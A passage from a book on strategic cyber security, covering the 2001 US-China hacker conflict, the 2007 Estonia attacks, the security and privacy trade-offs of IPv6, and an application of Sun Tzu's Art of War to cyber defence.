directed at U.S. systems .... Chinese hackers have publicly discussed increasing their activity during this period, which coincides with dates of historic significance in the PRC....”275 Tensions had risen sharply between the two countries following the U.S. bombing of the Chinese embassy in Belgrade in 1999, the mid-air collision of a U.S. Navy plane with a Chinese fighter jet over the South China Sea in 2001, and the prolonged de- tainment of the American crew in the PRC. 271 Geers & Feaver, 2004. 272 “Israel...” 2000. 273 Page, 2000. 274 Stoil & Goldstein, 2006. 275 “Advisory 01-009...” 2001. 84 BIRTH OF A CONCEPT: STRATEGIC CYBER SECURITY Hackers on both sides of the Pacific, such as China Eagle Alliance and PoizonB0x, began wide-scale website defacement and built hacker portals with titles such as “USA Kill” and “China Killer.” When the cyber skirmishes were over, both sides claimed defacements and DoSs in the thousands.276 The FBI investigated a Honker Union of China (HUC), 17-day hack of a California electric power grid test network that began on April 25th.277 The case was widely dismissed as media hype at the time, but the CIA informed industry leaders in 2007 that not only is a tangible hacker threat to such critical infrastructure possible, it in fact has already happened.278 On the anniversary of this cyber war, as businesses were bracing for another round of hacking, the Chinese government is said to have successfully called for a stand- down at the last minute, suggesting that Chinese hackers may share a greater de- gree of coordination than their American counterparts.279 Estonia 2007: Targeting a Nation-State On April 26, 2007, the Estonian government moved a Soviet World War II memo- rial from the center of its capital to a military cemetery. The move inflamed public opinion both in Russia and among Estonia’s Russian minority population. Beginning on April 27, Estonian government, law enforcement, banking, media, and Internet infrastructure endured three weeks of cyber attacks, whose impact still generates immense interest from governments around the world. Estonians conduct over 98% of their banking via electronic means. Therefore, the impact of multiple Distributed Denial-of-Service (DDoS) attacks, which severed all communications to the Web presence of the country’s two largest banks for up to two hours and rendered international services partially unavailable for days at a time, is obvious. Less widely discussed, but likely of greater consequence – both to national security planners and to computer network defense personnel – were the Internet infrastruc- ture (router) attacks on one of the Estonian government’s ISPs, which disrupted government communications for a “short” period of time.280 276 Wagstaff, 2001; Allen & Demchek, 2003. 277 Weisman, 2001. 278 Nakashima & Mufson, 2008. 279 Hess, 2002. 280 This case-study relies on some data available exclusively to CCD-CoE. 85 Cyber Security: Real-World Impact On the propaganda front, a hacker defaced the Estonian Prime Minister’s political party website, changing the homepage text to a fabricated government apology for having moved the statue, along with a promise to move it back to its original loca- tion. Diplomatic interest in the Estonia case was high, in part due to the possible reinter- pretation of NATO’s Article 5, which states that “an armed attack against one [Alli- ance member]... shall be considered an attack against them all.”281 Article 5 has been invoked only once, following the terrorist attacks of September 11, 2001. Potentially, it could one day be interpreted to encompass cyber attacks as well. For many observers, the 2007 denial-of-service attacks in Estonia demonstrated a clear “business case” cyber attack model against an IT-dependent country. The crisis significantly influenced the 2010 debate over NATO’s new Strategic Concept, when cyber security assumed a much higher level of visibility in international security dialogue, ranking alongside terrorism and ballistic missiles as a primary threat to the Alliance.282 To summarize Part II of this book, the world has witnessed the transformation of cyber security from a technical discipline to a strategic concept. The growing power of the Internet, the rapid development of hacker tools and tactics, and clear-cut ex- amples from current events suggest that cyber attacks will play an increasingly important, and perhaps a lead role, in future international conflicts. Since the Estonia crisis in 2007, this trend shows no sign of slowing down: • in 2007, the Israeli military is reported to have conducted a cyber attack against Syrian air defense prior to its destruction of an alleged nuclear reactor;283 • in 2008, many analysts argued that the Russo-Georgian war demonstrated that there will be a close relationship between cyber and conventional opera- tions in all future military campaigns;284 • in 2009, during a time of domestic political crisis, hackers knocked the entire nation-state of Kyrgyzstan offline;285 and • in 2010, the Stuxnet worm was believed to be the most sophisticated piece of malware yet examined by public researchers and is widely assumed to have been written by a state sponsor.286 281 “The North Atlantic Treaty,”1949. 282 “NATO 2020...” 2010. 283 Fulghum et al, 2007. 284 “Overview...” 2009. 285 Keizer, 2009. 286 “Stuxnet...” 2010. 86 BIRTH OF A CONCEPT: STRATEGIC CYBER SECURITY Therefore, national security leadership has no choice but to dramatically increase its level of understanding of the technology, law, and ethics related to cyber attack and defense so that it can competently factor cyber conflict, terrorism and warfare into all stages of national security planning. Part III of this book will examine four strategies that nation-states are likely to adopt as they seek to mitigate the threat of cyber attacks and attempt to improve their national cyber defense posture. 87 Next Generation Internet: Is IPv6 the Answer? III. NATION-STATE CYBER ATTACK MITIGATION STRATEGIES Part II of this book examined the advent of cyber security as a strategic concept. Part III will evaluate four likely strategies that governments will employ to mitigate the cyber attack threat: the “next-generation” Internet Protocol version 6 (IPv6), an application of the world’s best military doctrine (Sun Tzu’s Art of War) to cyber war- fare, cyber attack deterrence, and cyber arms control. 5. NEXT GENERATION INTERNET: IS IPV6 THE ANSWER?287 First and foremost, governments will seek to reach a higher level of strategic cyber security through improved technology. And the most likely candidate to have an effect at the strategic level is a sleeping giant – the new “language” of networks, Internet Protocol version 6 (IPv6). In fact, due to its stellar number of viable computer addresses and its enhanced security features, many nations view IPv6 as crucial to their national security plans for the future. However, its high learning curve has led myriad government agencies and large businesses to miss deadlines for IPv6 compliance. A different perspective is offered by some human rights organizations, which fear that the “next-generation” Internet will have adverse effects on individual privacy and online anonymity. Regarding IPv6 security, a key point to understand is that, during the long transi- tion period from IPv4 to IPv6, hackers will be able to exploit vulnerabilities in both languages at once. IPv6 Address Space IPv4, the current language of the Internet, will run out of available IP addresses – or “space” from which one can connect to the Internet – in 2011. The address shortage is especially acute in the developing world, which connected to the Internet after most IP addresses had already been allocated or bought.288 287 This chapter was co-authored with Alexander Eisen. 288 Grossetete et al, 2008. 88 NATION-STATE CYBER ATTACK MITIGATION STRATEGIES IPv6 decisively answers the need for more IP addresses. IPv4 has around four bil- lion, which seemed like a lot when the protocol was written in the early 1980s, but is insufficient today. IPv6, developed in the late 1990s, has 128-bit addresses, which create 340 undecillion IPs,289 or 50 octillion for every human on Earth.290 As an added bonus, IPv6 employs much more powerful IP “headers,” or internal management data, which allow for more advanced features and customization than with IPv4. IPv6 headers will be used to support “telematics,” the integrated use of telecommunications and informatics. Since IPv6 will allow practically everything, including common household appliances, to be connected to the Internet, its advo- cates argue that telematics will provide more convenient, economical, and entertain- ing lifestyles.291 Improved Security? But the most important aspect of IPv6 for this research is that it was designed to provide better security than IPv4.292 The goal was to build security into the protocol itself. Thirty years ago, IPv4 defeated more feature-rich rivals precisely because IP was a “dumb” protocol. It lacked sophistication, but was simple, resilient, and easy to implement and maintain. The problem was that IPv4’s lack of intrinsic security left it open to misuse. Today, a better network protocol is needed, both for size and for security. IPv6 offers clear security upgrades over IPv4. First, IPv6 is much more cryptography-friendly. A mechanism called IP Security (IPSec) is built directly into the protocol’s “code stack.” IPSec should reduce Internet users’ vulnerability to spoofing,293 illicit traffic sniffing294 and Man-in-the-Middle (MITM) attacks.295 IPv6 also offers end-to-end connectivity, which is afforded by the incredibly high number of IP addresses available. Since it is possible, in theory, to give anything an IP address, any two points on the Internet may communicate directly with each other. 289 Or 340,282,366,920,938,463,463,374,607,431,768,211,456 possible addresses. 290 An IPv4 address looks like this: 207.46.19.60. IPv6 is much longer: 2001:0db8:0000:0000:0000:00 00:1428:57ab (or, for short, 2001:0db8::1428:57ab). 291 Godara, 2010: The term telematics often refers to automation in automobiles, such as GPS navigation, hands-free cell phones, and automatic driving assistance systems. 292 Hagen, 2002. 293 Spoofing means impersonating another computer user or program. 294 Passively collecting network data, with or without appropriate approval. 295 This is when an attacker secretly controls both sides of a conversation. The victims think they are speaking with one another directly, for example, by email, when in fact they are not. 89 Next Generation Internet: Is IPv6 the Answer? These upgrades should have numerous follow-on benefits. For example, the astro- nomical number of IP addresses may mean that attackers will no longer be able to randomly “scan” the Internet to find their victims. In addition, the Internet should be more resistant to self-propagating worms.296 To improve strategic cyber security across the Internet, any successor to IPv4 should have a greater focus on structure and logic (e.g., Internet navigation, data packet routing, IP address allocation). Fortunately, with IPv6, this is the case. The Internet Engineering Task Force (IETF) created the first IPv6 Forum in 1999; today there are IPv6-specific Task Forces worldwide, which still have the opportunity to make tangible improvements in the next-generation protocol as it evolves. IPv6 Answers Some Questions, Creates Others In spite of these promising characteristics, it is unlikely that IPv6 will end cyber at- tacks in the future. Hackers have already demonstrated that IPv6 is not invulnerable to many traditional, IPv4 attack methods, including DoS,297 packet crafting,298 and MITM attacks.299 Vulnerabilities in software (operating systems, network services, web applications) will continue to exist, no matter which protocol they use.300 And perhaps most crucially, although IPSec is available, it is not required.301 As an analogy, the history of Public Key Infrastructure (PKI)302 does not bode well for IPv6. The high cost and resource-intensive nature of PKI pose challenges to most organizations, and in the future, the same dynamic could hamper the large-scale deployment of IPSec in IPv6. False identities are often assumed by stealing or creating fraudulent ID cards or other documents. Via the Internet, attackers will still attempt to use hacked comput- ers as “proxies” for nefarious activity, even in the IPv6 era. The case of Stuxnet has 296 Popoviciu et al, 2006. 297 E.g., Smurf6, Rsmurf6, Redir6, connection flooding, and stealing all available addresses. 298 This refers to manually creating network data packets instead of using default or existing network traffic characteristics. 299 Or “man-in-the-middle” attacks, e.g., Parasite6, Fake_router6. 300 In fact, the majority of attacks today may not involve eavesdropping on or manipulating the traffic on a network wire. A compromised application, for example, could exfiltrate stolen information equally well via either the IPv4 or the IPv6 code stack. 301 It is also important to note that the improved IP header still does not travel across the Internet en- crypted, but in the clear. 302 This refers to the management of digital certificates. PKI uses asymmetric cryptography to create an electronic identity. Internet services are increasingly using it, and this should lower the risk of identity theft, but Stuxnet has shown that PKI is not a silver bullet. 90 NATION-STATE CYBER ATTACK MITIGATION STRATEGIES shown that, even with PKI safeguards, it is possible to steal digital identities that al- low a hacker to run computer code as if it were installed by a trustworthy company. And of course, the next-generation Internet will spawn next-generation attacks. For example, if IPv6 precludes network vulnerability scanning, hackers may increas- ingly target Certificate Authorities (CA) and Domain Name Servers (DNS). In fact, a successful compromise of a DNS server may be required for an attacker to acquire detailed knowledge of a target Local Area Network (LAN).303 The necessarily long transition period will provide its own set of challenges. The most important is that, as the world uses both IP languages at once, hackers will have an increased “attack surface.” There will simply be a higher number of vulner- abilities to exploit as computer security personnel are forced to defend a larger network space within their enterprise. The level of complexity will rise as system administrators manage more devices per enterprise, more network interface cards (NIC) per device, and more code “stacks” or data structures per NIC. Furthermore, some network data will be “native” or IPv6- only, but other IPv6 traffic will be “tunneled” or shuttled across the Internet within IPv4 carrier packets. Such a new and complex environment may allow some cyber attacks to slip through myriad cracks in cyber defense architecture. In fact, this may already be the case on countless networks, given that modern devices and operating systems are often IPv6-enabled by default. The opposite is true for computer network defense. For example, even in the latest version of the world’s most popular intrusion detection software, called “Snort,” IPv6 awareness is not enabled by default, but must be specifically turned on by a security analyst.304 The likely result is a serious blind spot in global network traffic analysis. Consider the “auto-configuration” aspect of IPv6. Its intended function is to ease and increase mobility through enhanced, ad hoc network associations. This appears to be an exciting part of the world’s future networking paradigm. However, auto- configuration would also seem to greatly complicate the task of tracking network- enabled devices that enter and leave enterprise boundaries. 303 If DNS attacks are successful in the IPv6 era, the overall trend toward client-side exploits – those which target the end user – should continue. 304 “SNORT Users Manual...” 2011. 91 Next Generation Internet: Is IPv6 the Answer? Privacy Concerns From a law enforcement and national security perspective, there is worldwide inter- est in the implications of IPv6 for online privacy and anonymity, which will have a tangible impact on relations between government and civil society. IPv6 security, specifically in the form of IPsec, contains a potential paradox. Users gain end-to-end connectivity with peers and acquire strong encryption to obscure the content of their communications, but the loss of Network Address Translation (NAT) means that it is easier for third parties to see who is communicating with whom. Even if an eavesdropper is not able to read encrypted content, “traffic analy- sis” – or the deduction of information content by analyzing communication patterns – should be easier than with IPv4. NAT allows multiple users to connect to the Internet from one IP address. It almost single-handedly saved IPv4 from address depletion for many years.305 Further, NAT provides Internet users with some “security through obscurity” by making IP ad- dresses temporary and not permanently associated with a human user. This charac- teristic offers a small but tangible amount of Internet privacy. Critics of NAT claim that it is labor-intensive, expensive, and unnecessary, but others worry that its loss will come at the expense of privacy. For example, Chinese Internet Society chairwoman Hu Qiheng told the New York Times in 2006 that “there is now anonymity for criminals on the Internet in China ... with the China Next Generation Internet project, we will give everyone a unique identity on the Internet.”306 The simple reasoning behind Qiheng’s thinking is that IPv6 could facilitate the direct association of a permanent IP address to a particular Internet user. For law enforce- ment, end-to-end connectivity may help to solve the vexing “attribution” problem of cyber attacks, in which hackers are able to remain anonymous. But human rights groups fear that governments will use this new power to quash political dissent. This open question is serious enough that, in the future, various national IPv6 im- plementations may be incongruous or even incompatible with one another, as differ- ent network configurations are used for different purposes. IPv6 “privacy extensions” were designed to address this problem by making it pos- sible for a user to acquire somewhat random, temporary IP addresses in order to surf the web with greater privacy and security. Only time will tell whether IPv6 privacy extensions work in practice. Since IPv6 is just now being broadly deployed, 305 IPv4’s lifespan was also extended by coding other aspects of IPv6, such as IPSec, into IPv4. 306 Crampton, 2006. 92 NATION-STATE CYBER ATTACK MITIGATION STRATEGIES many of its advanced features have not been subjected to sufficient testing or secu- rity analysis.307 In 2011, it is still unknown whether the IPv6 era will favor attackers or defenders in cyberspace. In the long-run, it is possible that the new protocol’s benefits will be good for overall Internet security. However, it is a near certainty that the long transi- tion phase from IPv4 to IPv6 will be characterized by increased security risks. Uneven Worldwide Deployment Many governments are not waiting for this debate to be settled. In a network-centric world, future Internet technologies such as IPv6 cannot be ignored. A government’s ability to conduct national security-related operations may depend on them one day. Nations and businesses risk falling behind peers, competitors, and enemies. Thus, numerous governments have set deadlines for various levels of IPv6 compliance. In the United States, the Executive Branch Office of Management and Budget (OMB) mandated that U.S. government agencies be “IPv6 compliant” by June 30, 2008. However, compliance in this case had very limited goals.308 Furthermore, the OMB mandate was almost immediately contradicted by a U.S. Department of Commerce report advising that premature transition to IPv6 could lead to higher overall transi- tion costs and even reduced security. More recently, the first U.S. Chief Information Officer (CIO), Vivek Kundra, provided a more detailed government directive – public Internet services such as webmail and DNS must operationalize “native” or IPv6-only traffic by October 2012. Internal networks must do the same by 2014.309 Most American businesses feel no direct pressure to migrate to IPv6. The reason is that the U.S. is the original home of the Internet, so most American firms possess enough IP addresses to satisfy their needs. However, the largest software compa- nies, such as Microsoft, support IPv6 because it should reduce or even eliminate the costs associated with NAT, which can be significant for online gaming, instant mes- saging, file sharing, etc.310 Indeed, Microsoft made IPv6 the default Internet protocol for its Vista operating system, which was released in January 2007. 307 Barrera, 2010. 308 This referred only to the capability of an agency’s core computer networks to forward IPv6 traffic to its intended destination. 309 Montalbano, 2010. 310 Golding, 2006. 93 Next Generation Internet: Is IPv6 the Answer? China has made the most determined effort of any nation to transition to IPv6. Above all, the size of China’s population demands a huge increase in its number of IP addresses since China has only one IPv4 address for every four of its citizens. At the same time, China has held the world’s biggest single IPv6 demonstration to date. During the 2008 Summer Olympics in Beijing, everything from live television and data feeds to security and traffic control was streamed over one vast IPv6 net- work.311 The cutting edge nature of IPv6 gives China a good way to development its Intellectual Property (IP) base. The China Next Generation Internet (CNGI) and the China Education and Research Network (CERNET) are huge IPv6 projects that will influence the evolution of the Internet for years to come. However, the slow pace of popular IPv6 application development, which has helped to keep worldwide transi- tion sluggish, has disappointed Chinese Internet officials.312 Within the European Union (EU), an IPv6 Task Force has stated that the importance of the next-generation Internet “cannot be overestimated.” In 2008, the European Commission advised private companies and the public sector to make the switch by 2010 and committed €90 million to IPv6 research.313 But near the end of 2009, a survey found that less than 20% had done so and that a majority of respondents feared its immediate financial costs.314 On the bright side, numerous European com- panies have made commercial contributions to IPv6 development. Ericsson built the world’s first IPv6 router in 1995, and an IPv6 concept car was jointly developed by Cisco and Renault. Nonetheless, European companies have complained that further incentives from Brussels are needed to ensure a smooth transition.315 In Japan, the need for increased address space is similar to China’s, but the reason is not population size. It stems from the desire to connect billions of electronic gad- gets to the Internet. The Japanese government has assured its country a leadership role in IPv6 deployment by offering tax breaks to companies that switch to IPv6. Its importance is emphasized in political speeches at the highest level of government316 and by initiatives such as “eJapan 2005,” in which IPv6 was given prominent sta- tus. NTT, the largest telecommunications provider in Japan, has offered commercial IPv6 services since 2001, and the University of Tokyo has held both the IPv4 and IPv6 “World Speed” records simultaneously. As in China, however, both the public 311 “Renumbering...” 2011. 312 Geers & Eisen, 2007. 313 Meller, 2008. 314 Kirk, 2009. 315 Geers & Eisen, 2007. 316 Essex, 2008. 94 NATION-STATE CYBER ATTACK MITIGATION STRATEGIES and private sectors are still waiting for more IPv6 applications, even while they are attempting to future-proof their infrastructure.317 Differences of Opinion Remain While there are obvious business opportunities in IPv6, governments are also keen- ly interested in the strategic cyber security ramifications of the next-generation Internet. The loss of NAT will lower the cost of Internet connectivity and provide the foundation for improved communications worldwide, but it may also allow gov- ernments to monitor their Internet space – at least via traffic analysis – with much greater ease. As an international project, IPv6 will both benefit and suffer from significant differ- ences of approach and opinion. In Asia, citizens are more comfortable with govern- ment oversight than in the West. In Europe, Internet users are highly motivated to protect online anonymity. However, the U.S. is somewhere in the middle – personal information is jealously guarded, but the public is sympathetic to the needs of law enforcement. In order to make the IPv6 era fairer than with IPv4, the Internet Assigned Numbers Authority (IANA) has published these guidelines: • every address should be unique; • every address should be in an accessible registry database; • distribution should be aggregated, efficient, and hierarchical; • there should be no “stockpiling” of unused addresses; and • all potential members of the Internet community should have equal access. Another factor is the “IPv6 Ready Logo,” which is awarded to software and hardware that meets internationally-recognized technical standards. However, this initiative has already revealed the politically charged atmosphere surrounding IPv6. For ex- ample, China successfully argued against the direct inclusion of IPSec in the Logo award criteria, a seemingly small victory that could have enormous implications for privacy, anonymity, and security on the web for years to come. It remains an open question whether the U.S. and the EU should have pushed China harder during these negotiations. However, like China they must worry that IPsec will make life too hard for law enforcement.318 317 Geers & Eisen, 2007. 318 Geers & Eisen, 2007. 95 Sun Tzu: Can Our Best Military Doctrine Encompass Cyber War? 6. SUN TZU: CAN OUR BEST MILITARY DOCTRINE ENCOMPASS CYBER WAR? Cyberspace is a new warfare domain. Computers and the information they contain are prizes to be won during any military conflict. But the intangible nature of cy- berspace can make victory, defeat, and battle damage difficult to calculate. Military leaders today are looking for a way to understand and manage this new threat to national security. The most influential military treatise in history is Sun Tzu’s Art of War. Its recommendations are flexible and have been adapted to new circumstances for over 2,500 years. This chapter examines whether Art of War is flexible enough to encompass cyber warfare. It concludes that Sun Tzu provides a useful but far from perfect framework for the management of cyber war and urges modern military strategists to consider the distinctive aspects of the cyber battlefield. What is Cyber Warfare? The Internet, in a technical sense, is merely a large collection of networked comput- ers. Humans, however, have grown dependent on “cyberspace” – the flow of infor- mation and ideas that they receive from the Internet on a continual basis and im- mediately incorporate into their lives. As our dependence upon the Internet grows, what hackers think of as their potential “attack surface” expands. The governance of national security and international conflict is no different: political and military ad- versaries now routinely use and abuse computers in support of strategic and tactical objectives. In the early 1980s, Soviet thinkers referred to this as the Military Tech- nological Revolution (MTR); following the 1991 Gulf War, the Pentagon’s Revolution in Military Affairs (RMA) was practically a household term.319 Cyber attacks first and foremost exploit the power and reach of the Internet. For example, since the earliest days of the Web, Chechen rebels have demonstrated the power of Internet-enabled propaganda.320 Second, cyber attacks exploit the Inter- net’s vulnerability. In 2007, Syrian air defense was reportedly disabled by a cyber attack moments before the Israeli Air Force demolished an alleged Syrian nuclear re- actor.321 Third, cyber attackers benefit from a degree of anonymity. During the 1999 war over Kosovo, unknown hackers tried to disrupt NATO military operations and were able to claim minor victories.322 Fourth, even a nation-state can be targeted. In 2009, the whole of Kyrgyzstan was knocked offline during a time of domestic politi- 319 Mishra, 2003. 320 Goble, 1999. 321 Fulghum et al, 2007. 322 Geers, 2008. 96 NATION-STATE CYBER ATTACK MITIGATION STRATEGIES cal crisis.323 This list could be lengthened to include cyber warfare’s high return on investment, an attacker’s plausible deniability, the immaturity of cyber defense as a discipline, the increased importance of non-state actors in the Internet era, and more. Cyber attacks are best understood as an extraordinary means to a wide variety of ends: espionage, financial damage, and even the manipulation of national critical infrastructures. They can influence the course of conflict between governments, between citizens, and between government and civil society. What is Art of War? Modern military doctrine draws from a deep well of philosophy that spans political, economic, and scientific revolutions. The oldest and most profound treatise is Sun Tzu’s Military Strategy, known as Art of War (孫子兵法). Much of our current un- derstanding of military concepts such as grand strategy, center of gravity, decisive point, and commander’s intent can be traced to this book.324 According to Chinese tradition, Art of War was written by Sun Wu (now Tzu) in the 6th century B.C. and is one of China’s Seven Military Classics. Some scholars argue that gaps in logic and anachronisms in the text point to multiple authors, and they further contend that Art of War is a compilation of different texts that were brought together over time. Nonetheless, the book has an internal consistency that implies it is the product of one school of military thought. Art of War was translated for the West by a French missionary in 1782 and may have had an influence on the battle- field victories of Napoleon, who was likely familiar with its contents.325 Art of War has survived for 2,500 years because its advice is not only compelling, but concise, easy to understand, and flexible. Sun Tzu does not give military leaders a concrete plan of action, but a series of recommendations that can be adapted to new circumstances. Sun Tzu’s concepts have been successfully applied to disciplines other than warfare, including sports, social relationships, and business.326 There are thirteen chapters in Art of War, each dedicated to a particular facet of warfare. This chapter highlights at least one topical passage from each chapter and will argue that Sun Tzu provides a workable but not a perfect framework for the management of cyber war. 323 Keizer, 2009. 324 Van Riper, 2006. 325 Ralph D. Sawyer, Sun Tzu: Art of War (Oxford: Westview Press, 1994) 79, 127. 326 Ibid, 15. 97 Sun Tzu: Can Our Best Military Doctrine Encompass Cyber War? Strategic Thinking Art of War opens with a warning: The Art of War is of vital importance to the State. It is a matter of life and death, a road either to safety or to ruin. Hence it is a subject of inquiry which can on no account be neglected. AoW: I. Laying Plans327 At the strategic level, a leader must take the steps necessary to prevent political coercion by a foreign power and to prevent a surprise military attack.328 Regard- ing offensive military operations, Art of War states that they are justified only in response to a direct threat to the nation; economic considerations, for example, are insufficient.329 Cyberspace is such a new arena of conflict that basic defense and attack strategies are still unclear. There have been no major wars (yet) between modern, cyber-capa- ble adversaries. Further, cyber warfare tactics are highly technical by nature, often accessible only to subject matter experts. As with terrorism, hackers have found success in pure media hype. As with Weapons of Mass Destruction (WMD), it is challenging to retaliate against an asymmetric threat. Attack attribution is the most vexing question of all – if the attacker can remain anonymous, defense strategies ap- pear doomed from the start. Finally, the sensitive nature of cyber warfare capabili- ties and methods has inhibited international discussion on the subject and greatly increased the amount of guesswork required by national security planners. The grace period for uncertainty may be running out. Modern militaries, like the governments and economies they protect, are increasingly reliant on IT infrastruc- ture. In 2010, the United States Air Force procured more unmanned than manned aircraft for the first time.330 IT investment on this scale necessarily means an in- creased mission dependence on IT. As adversaries look for their opponent’s Achilles heel, IT systems will be attractive targets. It is likely that the ground fighting of fu- ture wars will be accompanied by a parallel, mostly invisible battle of wits between state-sponsored hackers over the IT infrastructure that is required to wage war at all. Celebrated Red Team exercises, such as the U.S. Department of Defense’s Eligible Receiver in 1997, suggest that cyber attacks are potentially powerful weapons. Dur- 327 All Sun Tzu quotes are from Sun Tzu, Art of War (Project Gutenberg eBook, 1994, translated by Lionel Giles, 1910). 328 Sawyer, 1994. 329 Ibid. 330 Orton, 2009. 98 NATION-STATE CYBER ATTACK MITIGATION STRATEGIES ing the exercise, simulated North Korean hackers, using a variety of hacker and information warfare tactics including the transmission of fabricated military orders and news reports, “managed to infect the human command-and-control system with a paralyzing level of mistrust .... As a result, nobody in the chain of command, from the president on down, could believe anything.”331 Because cyber warfare is unconventional and asymmetric warfare, nations weak in conventional military power are likely to invest in it as a way to offset conventional disadvantages. Good hacker software is easier to obtain than a tank or a rifle. Intel- ligence officials such as former CIA Director James Woolsey warn that even terrorist groups will possess cyber weapons of strategic significance in the next few years.332 Some analysts argue persuasively that the threat from cyber warfare is overstat- ed.333 However, national security planners cannot afford to underestimate its po- tential. A general rule could be that, as dependence on IT and the Internet grows, governments should make proportional investments in network security, incident response, technical training, and international collaboration. In the near term, international security dialogue must update familiar vocabulary, such as attack, defense, deterrence and escalation, to encompass post-IT Revolu- tion realities. The process that began nearly thirty years ago with MTR and RMA continues with the NATO Network Enabled Capability (NNEC), China’s Unrestricted Warfare, and the creation of U.S. Cyber Command. However, the word cyber still does not appear in NATO’s current Strategic Concept (1999), so there remains much work to be done. A major challenge with IT technology is that it changes so quickly it is difficult to follow – let alone master – all of the latest developments. From a historical perspective, it is tempting to think cyber warfare could have a positive impact on human conflict. For example, Sun Tzu advised military command- ers to avoid unnecessary destruction of adversary infrastructure. In the practical Art of War, the best thing of all is to take the enemy’s country whole and intact; to shatter and destroy it is not so good. So, too, it is better to recapture an army entire than to destroy it, to capture a regiment, a detachment or a company entire than to destroy them. AoW: III. Attack by Stratagem If cyber attacks play a lead role in future wars, and the nature of the fight is largely over IT infrastructure, it is conceivable that international conflicts will be shorter 331 Adams, 2001. 332 Aitoro, 2009. 333 Two are Cambridge University Professor Ross Anderson and Wired Threat Level Editor Kevin Poulsen. 99 Sun Tzu: Can Our Best Military Doctrine Encompass Cyber War? and cost fewer lives. A cyber-only victory could facilitate economic recovery and post-war diplomacy. Such an achievement would please Sun Tzu, who argued that the best leaders can attain victory before combat is even necessary.334 Hence to fight and conquer in all your battles is not supreme excellence; supreme excellence consists in breaking the enemy’s resistance without fighting. AoW: III. At- tack by Stratagem But there is no guarantee that the increased use of cyber warfare will lead to less human suffering during international conflicts. If national critical infrastructures, such as water or electricity, are damaged for any period of time, what caused the outage will make little difference to those affected. Military leaders are specifically worried that cyber attacks could have unforeseen “cascading” effects that would inadvertently lead to civilian casualties, violate the Geneva Convention and bring war crimes charges.335 The anonymous nature of cyber attacks also leads to the dis- turbing possibility of unknown and therefore undeterred hackers targeting critical infrastructures during a time of peace for purely terrorist purposes. Cultivating Success Due to the remarkable achievements of cyber crime and cyber espionage,336 as well as plenty of media hype, cyber warfare will be viewed by military commanders as both a threat and an opportunity. But the most eloquent passages from Art of War relate to building a solid defense, and this is where a cyber commander must begin. The Art of War teaches us to rely not on the likelihood of the enemy’s not coming, but on our own readiness to receive him; not on the chance of his not attacking, but rather on the fact that we have made our position unassailable. AoW: VIII. Variation in Tactics Sun Tzu advises commanders not to rely on the good intentions of others or to count on best-case scenarios.337 In cyberspace, this is sound advice; computers are attacked from the moment they connect to the Internet.338 Cyber attackers currently have numerous advantages over defenders, including worldwide connectivity, vul- 334 Sawyer, 1994. 335 Graham, 1999. 336 “Espionage Report...” 2007; Cody, 2007. 337 Sawyer, 1994. 338 Skoudis, 2006. 100 NATION-STATE CYBER ATTACK MITIGATION STRATEGIES nerable network infrastructure, poor attacker attribution, and the ability to choose their time and place of attack. Defenders are not without resources. They own what should be the most power- ful asset in the battle – home-field advantage, and they must begin to use it more wisely. Defenders have indigenous “super-user” rights throughout the network, and they can change hardware and software configurations at will. They can build re- dundancy into their operations and implement out-of-band cross-checking of impor- tant information. Such tactics are essential because cyber attack methods evolve so quickly that static, predictable defenses are doomed to fail. A primary goal should be to create a unique environment that an attacker has never seen before. This will require imagination, creativity, and the use of deception. Hence that general is skillful in attack whose opponent does not know what to defend; and he is skillful in defense whose opponent does not know what to attack. AoW: VI. Weak Points and Strong Adversary cyber reconnaissance should be made as difficult as possible. Adversar- ies must have to work hard for their intelligence, and they should doubt that the information they were able to steal is accurate. Attackers should be forced to lose time, wander into digital traps, and betray information regarding their identity and intentions. Thus one who is skillful at keeping the enemy on the move maintains deceitful ap- pearances, according to which the enemy will act. He sacrifices something that the enemy may snatch at it. By holding out baits, he keeps him on the march; then with a body of picked men he lies in wait for him. AoW: V. Energy As in athletics, cyber warfare tactics are often related to leverage. In an effort to gain the upper hand, both attackers and defenders attempt to dive deeper than their opponent into files, applications, operating systems, compilers, and hardware. Strategic attacks even target future technologies at their source – the research and development networks of software companies or personnel working in the defense industry. The general who is skilled in defense hides in the most secret recesses of the earth... AoW: IV. Tactical Dispositions In fact, professional hacker tools and tactics are stealthy enough that a wise system administrator should presume some level of system breach at all times. Defenses should be designed on the assumption that there is always a digital spy somewhere in the camp. 101 Sun Tzu: Can Our Best Military Doctrine Encompass Cyber War? One of the first challenges in cyber warfare is simply to know if you are under at- tack. Therefore, a good short-term cyber defense goal is to improve an organization’s ability to collect, evaluate, and transmit digital evidence. If you know the enemy and know yourself, you need not fear the result of a hundred battles. If you know yourself but not the enemy, for every victory gained you will also suffer a defeat. If you know neither the enemy nor yourself, you will succumb in every battle. AoW: III. Attack by Stratagem In the late 1990s, Moonlight Maze, the “largest cyber-intelligence investigation ever,” uncovered wide-ranging attacks targeting U.S. technical research, government contracts, encryption techniques, and war-planning data. Despite years of effort, law enforcement was able to find “disturbingly few clues” to help determine attribu- tion.339 And because cyber warfare is a new phenomenon that changes so quickly, it is difficult even for law enforcement officers to be sure they are operating within the constraints of the law. A long-term national objective should be the creation of a Distant Early Warning Line for cyber war. National security threats, such as propaganda, espionage, and attacks on critical infrastructure, have not changed, but they are now Internet-en- abled. Adversaries have a new delivery mechanism that can increase the speed, diffusion, and even the power of an attack. Thus, what enables the wise sovereign and the good general to strike and conquer, and achieve things beyond the reach of ordinary men, is foreknowledge. AoW: XIII. The Use of Spies Because IT security is a highly technical discipline, a broader organizational support structure must be built around it. To understand the capabilities and intentions of potential adversaries, such an effort must incorporate the analysis of both cyber and non-cyber data points. Geopolitical knowledge is critical. Whenever international tension is high, cyber defenders must now take their posts. In today’s Middle East, it is safe to assume that cyber attacks will always accompany the conflict on the ground. For example, in 2006 as fighting broke out between Israel and Gaza, pro- Palestinian hackers denied service to around 700 Israeli Internet domains.340 Information collection and evaluation were so important to Sun Tzu that the entire final chapter of Art of War is devoted to espionage. Spies are called the “sovereign’s 339 Adams, 2001: Russian telephone numbers were eventually associated with the hacks, but the U.S. was unable to gain further attribution. 340 Stoil & Goldstein, 2006. 102 NATION-STATE CYBER ATTACK MITIGATION STRATEGIES most precious faculty” and espionage a “divine manipulation of the threads.” The cost of spying, when compared to combat operations, is said to be so low that it is the “height of inhumanity” to ignore it. Such a commander is “no leader of men, no present help to his sovereign, no master of victory.”341 In the wars of the future, brains will beat brawn with increasing frequency. Fol- lowing the IT Revolution, the need for investment in human capital has risen dra- matically. However, cyber defense is still an immature discipline, and it is difficult to retain personnel with highly marketable training. To gain a long-term competitive advantage, a nation must invest in science and technology as a national priority.342 